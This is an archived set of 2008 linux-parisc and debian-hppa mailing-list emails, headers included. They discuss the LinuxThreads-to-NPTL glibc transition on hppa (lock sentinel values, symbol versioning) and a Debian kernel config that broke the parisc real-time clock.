More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 5 Sep 2008 10:20:14 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20080905142014.GA27309@phobos.i.cabal.ca>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com> <20080904152329.GA24316@colo.lackof.org> <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com> <20080904160407.GB24316@colo.lackof.org> <1220550764.3276.45.camel@localhost.localdomain> <119aab440809050517v2d26e2f1nd2d3e5aa0efe14bd@mail.gmail.com> <1220623626.3331.5.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220624443 22777 80.91.229.12 (5 Sep 2008 14:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Sep 2008 14:20:43 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	dann frazier <dannf@dannf.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 16:21:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbcBb-00018U-GI
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 16:21:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753301AbYIEOUR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Sep 2008 10:20:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753442AbYIEOUR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 5 Sep 2008 10:20:17 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:58986 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753301AbYIEOUQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Sep 2008 10:20:16 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id A7DC417806D; Fri,  5 Sep 2008 10:20:14 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1220623626.3331.5.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:729 gmane.linux.debian.ports.hppa:5487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/729>

[Disclaimer: Grain of salt and all that other nonsense, I am pretty
 ignorant about why this is so difficult to handle.]

On Fri, Sep 05, 2008 at 09:07:06AM -0500, James Bottomley wrote:
> > No, due to library-to-library dependencies you have the same problem.
> > You would either have to rebuild *all* the libraries or continue
> > splitting each library into two packages lib and lib-nptl.
> 
> We are going to have to rebuild all the libraries, that's not an option
> because of the ABI change.
> 
> The problem is not to avoid this, but to find a way of doing an online
> upgrade.  The real problem we have to avoid is breaking system tools
> that are required to perform the upgrade in the intermediate steps.  I
> don't rule out that will require us to pull this trick with some
> libraries in addition to libc, but I don't think it will be all of them.
> Just doing libc will probably fix the majority of the issues, though.
> 

I'm probably missing something huge here, but why can't we just put a
sentinel value into the locks, make them equal sized, and use it as a
lock versioning field?

Since our locks are 16-bytes wide traditionally, that leaves us a
bunch of places we could cram it.

There's 3 cases I can think of:
	1 - uninitialized static lock:
		unlocked everywhere else and parisc-nptl (0), locked
		on parisc-lt.

	2 - initialized lock:
		unlocked everywhere else and parisc-*, we end up with
		4 32-bit values each containing a '1' on -lt. presumably
		just 0 on -nptl.

	3 - uninitialized dynamic lock:
		broken everywhere, not really a particular problem.

If we just crammed a "new lock" value (say, 0xdeadbeef or something.)
into the next word of the lock mod 4[1], and assumed any lock without that
sentinel was a linuxthreads lock... 

I mean, aside from wasting 12-bytes of lock that will never be touched
in the -nptl case, it seems like the easiest course...

Since the -lt locks will LDCW the cacheline, it would never be valid to
have an -lt lock with the sentinel set.

Just a thought, but perhaps I am oversimplifying the issue.
	Kyle

1. I mean, if the lock entry is lock[0], we use lock[1], if lock[3], we
	use lock[0].
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 5 Sep 2008 10:58:48 -0400
Lines: 71
Approved: news@gmane.org
Message-ID: <119aab440809050758vc74673fj4a8cf65c29920daf@mail.gmail.com>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
	 <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
	 <20080904160407.GB24316@colo.lackof.org>
	 <1220550764.3276.45.camel@localhost.localdomain>
	 <119aab440809050517v2d26e2f1nd2d3e5aa0efe14bd@mail.gmail.com>
	 <1220623626.3331.5.camel@localhost.localdomain>
	 <20080905142014.GA27309@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220626743 437 80.91.229.12 (5 Sep 2008 14:59:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Sep 2008 14:59:03 +0000 (UTC)
Cc: "James Bottomley" <James.Bottomley@hansenpartnership.com>,
	"dann frazier" <dannf@dannf.org>,
	"Debian HPPA Port List" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 05 16:59:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kbcmv-00070a-Bx
	for glpp-linux-parisc@gmane.org; Fri, 05 Sep 2008 16:59:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751300AbYIEO6v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Sep 2008 10:58:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752206AbYIEO6u
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 5 Sep 2008 10:58:50 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.230]:25725 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751300AbYIEO6u (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Sep 2008 10:58:50 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so458986wri.5
        for <linux-parisc@vger.kernel.org>; Fri, 05 Sep 2008 07:58:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=iB2T5EUlaGo68LV1DwSOED1U64cAiHx0AThtCDhqr9k=;
        b=QDqyCgNvvRlZ/amvPw0TjGVOibUNeZYNqVxbPJpVmA4CfWbXG277mMzKD2YsItIlJN
         Wrl/PDb0kAxdzQLM2EsBfCX8pZnpMj+zm3hjROrTUNkbhQYeGKfR6bJ7D4hhjNe9PIxm
         wnNKVpHDUrBRdFpZxWacj4PVlsGSZKdOL+PPU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=q8mYxRL25lTtwDf62VZ03slFmFW6q92qssP/1h8DZjP6f1OV11Qjk10WQ5x6CvgO8/
         zzVr6o/JZRE+JxAg7O4ks6cLNcuqf2qvx1RLCVKwZmTttKbEEqnSKQeTSL4niof2hG4x
         fsBtWzXyrvsy3P2iz3PZCr+CRNAwSuRh42Fgw=
Original-Received: by 10.90.78.10 with SMTP id a10mr15001221agb.113.1220626728770;
        Fri, 05 Sep 2008 07:58:48 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Fri, 5 Sep 2008 07:58:48 -0700 (PDT)
In-Reply-To: <20080905142014.GA27309@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 131554105ec96f5a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:730 gmane.linux.debian.ports.hppa:5488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/730>

On Fri, Sep 5, 2008 at 10:20 AM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> I'm probably missing something huge here, but why can't we just put a
> sentinel value into the locks, make them equal sized, and use it as a
> lock versioning field?

No you aren't missing anything, this is what I meant by "I have to go
write some, code" in my other post.

> Since our locks are 16-bytes wide traditionally, that leaves us a
> bunch of places we could cram it.
>
> There's 3 cases I can think of:
>        1 - uninitialized static lock:
>                unlocked everywhere else and parisc-nptl (0), locked
>                on parisc-lt.

According to POSIX you may only initialize a mutex to an unlocked
state. So we can just treat an uninitialized parisc-lt lock as it it
were an uninitialized parisc-nptl lock. This is the case that "works"
on x86, but is not portable, nor is it correct under POSIX. We want
the same behaviour as x86 so that we can avoid tracking down the bugs
related to uninitialized static locks.

>        2 - initialized lock:
>                unlocked everywhere else and parisc-*, we end up with
>                4 32-bit values each containing a '1' on -lt. presumably
>                just 0 on -nptl.

To be technically correct this is a "static initialized lock" using
something like PTHREAD_MUTEX_INIT. We must version every function that
could have had a statically initialized lock, and at the start of said
function, check the lock words and reset as appropriate. This involves
a) Detect parisc-lt {1,1,1,1} and convert that to {0,0,0,0} b) If the
last word in the lock[4] is zero then do nothing. Note that with
parisc-nptl only the first word is used for locking and it doesn't
have to be more than int aligned.

>        3 - uninitialized dynamic lock:
>                broken everywhere, not really a particular problem.

All the broken packages that memset locks to zero just work on x86 but
not parisc-lt. The parisc porters have to track these down and fix
them. This is one of the reasons we changed the lock behaviour with
the kernel helper. This case should *just work* on parisc-nptl, like
on x86.

> If we just crammed a "new lock" value (say, 0xdeadbeef or something.)
> into the next word of the lock mod 4[1], and assumed any lock without that
> sentinel was a linuxthreads lock...

It's easier than that, you only have to detect the all 1's case. The
all zeroes case IMO can be treated like an uninitialized parisc-nptl
lock.

> I mean, aside from wasting 12-bytes of lock that will never be touched
> in the -nptl case, it seems like the easiest course...
>
> Since the -lt locks will LDCW the cacheline, it would never be valid to
> have an -lt lock with the sentinel set.
>
> Just a thought, but perhaps I am oversimplifying the issue.

It's a good thought.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Salinger <Petr.Salinger@seznam.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Sat, 6 Sep 2008 10:24:22 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1220690790 25061 80.91.229.12 (6 Sep 2008 08:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Sep 2008 08:46:30 +0000 (UTC)
To: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 06 10:47:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbtS0-0006Ij-NV
	for glpp-linux-parisc@gmane.org; Sat, 06 Sep 2008 10:47:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751504AbYIFIqW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Sep 2008 04:46:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751960AbYIFIqW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Sep 2008 04:46:22 -0400
Original-Received: from relay.felk.cvut.cz ([147.32.80.7]:54595 "EHLO
	relay.felk.cvut.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751504AbYIFIqV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Sep 2008 04:46:21 -0400
X-Greylist: delayed 2273 seconds by postgrey-1.27 at vger.kernel.org; Sat, 06 Sep 2008 04:46:21 EDT
X-FELK-MailScanner-Watermark: 1221293266.89885@tivDFiy3N7W7/A/07BE7VA
Original-Received: from sci.felk.cvut.cz (Debian-exim@sci.felk.cvut.cz [147.32.83.100])
	by relay.felk.cvut.cz (8.14.2/8.14.2) with ESMTP id m8687fg4018738;
	Sat, 6 Sep 2008 10:07:41 +0200 (CEST)
	(envelope-from Petr.Salinger@seznam.cz)
Original-Received: from salinger (helo=localhost)
	by sci.felk.cvut.cz with local-esmtp (Exim 4.50)
	id 1Kbt5i-00059o-98; Sat, 06 Sep 2008 10:24:22 +0200
X-X-Sender: salinger@sci.felk.cvut.cz
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (relay.felk.cvut.cz [147.32.80.7]); Sat, 06 Sep 2008 10:07:42 +0200 (CEST)
X-FELK-MailScanner-Information: 
X-MailScanner-ID: m8687fg4018738
X-FELK-MailScanner: Found to be clean
X-FELK-MailScanner-SpamCheck: not spam, SpamAssassin (not cached,
	score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69)
X-FELK-MailScanner-From: petr.salinger@seznam.cz
X-FELK-MailScanner-To: debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org
X-Spam-Status: No
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:731 gmane.linux.debian.ports.hppa:5489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/731>


> To be technically correct this is a "static initialized lock" using
> something like PTHREAD_MUTEX_INIT. We must version every function that
> could have had a statically initialized lock, and at the start of said
> function, check the lock words and reset as appropriate. This involves
> a) Detect parisc-lt {1,1,1,1} and convert that to {0,0,0,0} b) If the
> last word in the lock[4] is zero then do nothing. Note that with
> parisc-nptl only the first word is used for locking and it doesn't
> have to be more than int aligned.

IMHO, there is no need for versioning. Moreover it wouldn't be sufficient.

Imagine function in a shared library foo which takes as argument 
pthread_mutex_t and does usual:

 	pthread_mutex_lock()
 	do some work
 	pthread_mutex_unlock()

And a program bar, which uses foo. Inside bar is a static initialized 
lock. The foo might be (re)compiled against NPTL, while bar would be 
still compiled against LT. Therefore check_and_reset() should be called as 
long as any installed (debian) package have not been recompiled against 
NPTL. The overhead of check_and_reset() looks very small, it should be no 
problem at all. The harder part is to determine each place, where
check_and_reset() should be called. It have to be in all places,
where static initialized lock might be passed for the 1st time,
i.e. it should be in  pthread_mutex_lock(), but not in
pthread_mutex_unlock().

Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Debian parisc config for 2.6.26 broke the real time clock
Date: Sat, 06 Sep 2008 10:06:26 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1220713586.3430.14.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220713601 28749 80.91.229.12 (6 Sep 2008 15:06:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Sep 2008 15:06:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: waldi@debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 06 17:07:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbzNr-00034f-FF
	for glpp-linux-parisc@gmane.org; Sat, 06 Sep 2008 17:07:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751959AbYIFPG2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Sep 2008 11:06:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752023AbYIFPG2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Sep 2008 11:06:28 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59249 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751959AbYIFPG1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Sep 2008 11:06:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4339982BF;
	Sat,  6 Sep 2008 10:06:26 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mmCqFaWwnO+Y; Sat,  6 Sep 2008 10:06:25 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 557E782BD;
	Sat,  6 Sep 2008 10:06:25 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/732>

Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
clock driver).  Starting with 2.6.26, debian is now enabling
CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
broken on parisc with debian kernels 2.6.26 and above.

All of the arch/parisc/config files get this right, so someone at debian
must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
be set to 'N' for all parisc systems.  I'd suggest checking the debian
kernel configs against the in-tree default files to see if there are any
other cockups like this.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Sat, 6 Sep 2008 11:31:50 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <119aab440809060831u790ad62dte057bedf68e0d988@mail.gmail.com>
References: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220715135 1354 80.91.229.12 (6 Sep 2008 15:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Sep 2008 15:32:15 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Petr Salinger" <Petr.Salinger@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 06 17:33:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kbzmg-0000mi-9R
	for glpp-linux-parisc@gmane.org; Sat, 06 Sep 2008 17:33:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753461AbYIFPbx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Sep 2008 11:31:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751948AbYIFPbw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Sep 2008 11:31:52 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.232]:42061 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753461AbYIFPbv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Sep 2008 11:31:51 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so890905wri.5
        for <linux-parisc@vger.kernel.org>; Sat, 06 Sep 2008 08:31:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=LJQ+PhYUUUQZPawRGzKgSnqn3YD1tUHttTLdzz1oyeQ=;
        b=nafVyIYn377B3AqZ7KWp/J5ijDf2AtW3mZHfUJ+TYUDoUeGqlA/QtPKroP/VZM8NYJ
         fInLFxEQGLuOEbhV8dk9eTRC8qx6y/GaD597KTxxIHGIyzHEDqfQjPrARykmTMUCe16Q
         DxDM8rzK0D/n+9K5N79ZjC1LzMERv1i6Z802g=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=qErAI2WjmmdryzgCpQ0YmQDoCN5EDKdrJRnvLyboA0YtKx7jymhu1kVRHlGFcn5hRZ
         D3tKCDkMqZoU6bccqpik2TQVevmH+VewW/PDZX2180N2CyWpfAygSsdqnmAqgjsQwqQv
         ZTpzUhEax12AOTT2gusBZTXzTn58wXQG8Lguw=
Original-Received: by 10.90.50.5 with SMTP id x5mr16524556agx.120.1220715110107;
        Sat, 06 Sep 2008 08:31:50 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Sat, 6 Sep 2008 08:31:50 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
Content-Disposition: inline
X-Google-Sender-Auth: 96d8041a54b2b41d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:733 gmane.linux.debian.ports.hppa:5490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/733>

On Sat, Sep 6, 2008 at 4:24 AM, Petr Salinger <Petr.Salinger@seznam.cz> wrote:
> IMHO, there is no need for versioning. Moreover it wouldn't be sufficient.

You must versioning the affected interfaces, otherwise you will never
be able to remove the compatibility code.

> Imagine function in a shared library foo which takes as argument
> pthread_mutex_t and does usual:
>
>        pthread_mutex_lock()
>        do some work
>        pthread_mutex_unlock()
>
> And a program bar, which uses foo. Inside bar is a static initialized lock.
> The foo might be (re)compiled against NPTL, while bar would be still
> compiled against LT. Therefore check_and_reset() should be called as long as
> any installed (debian) package have not been recompiled against NPTL. The
> overhead of check_and_reset() looks very small, it should be no problem at
> all. The harder part is to determine each place, where
> check_and_reset() should be called. It have to be in all places,
> where static initialized lock might be passed for the 1st time,
> i.e. it should be in  pthread_mutex_lock(), but not in
> pthread_mutex_unlock().

Yes, certainly, this is a valid case.

Any function that manipulates a changed structure needs to be versioned.

Eventually, one day, debian hppa will configure glibc with
--enable-oldest-abi at a high enough value that the compat code will
be dropped (because we have proved no package needs it and we have an
upgrade path).

Do you have any other concerns?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Petr Salinger <Petr.Salinger@seznam.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Sat, 6 Sep 2008 22:16:20 +0200 (CEST)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.62.0809062158160.20902@sci.felk.cvut.cz>
References: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
 <119aab440809060831u790ad62dte057bedf68e0d988@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1220731212 22612 80.91.229.12 (6 Sep 2008 20:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Sep 2008 20:00:12 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 06 22:01:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kc3xx-0006J4-Ls
	for glpp-linux-parisc@gmane.org; Sat, 06 Sep 2008 22:01:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752150AbYIFUAA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Sep 2008 16:00:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751418AbYIFT77
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Sep 2008 15:59:59 -0400
Original-Received: from relay.felk.cvut.cz ([147.32.80.7]:65115 "EHLO
	relay.felk.cvut.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752150AbYIFT76 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Sep 2008 15:59:58 -0400
X-FELK-MailScanner-Watermark: 1221335979.31347@X5fVTQYqbV2k8OJ5vRsy0w
Original-Received: from sci.felk.cvut.cz (Debian-exim@sci.felk.cvut.cz [147.32.83.100])
	by relay.felk.cvut.cz (8.14.2/8.14.2) with ESMTP id m86Jxb53059999;
	Sat, 6 Sep 2008 21:59:37 +0200 (CEST)
	(envelope-from Petr.Salinger@seznam.cz)
Original-Received: from salinger (helo=localhost)
	by sci.felk.cvut.cz with local-esmtp (Exim 4.50)
	id 1Kc4Ci-0005RS-Ba; Sat, 06 Sep 2008 22:16:20 +0200
X-X-Sender: salinger@sci.felk.cvut.cz
In-Reply-To: <119aab440809060831u790ad62dte057bedf68e0d988@mail.gmail.com>
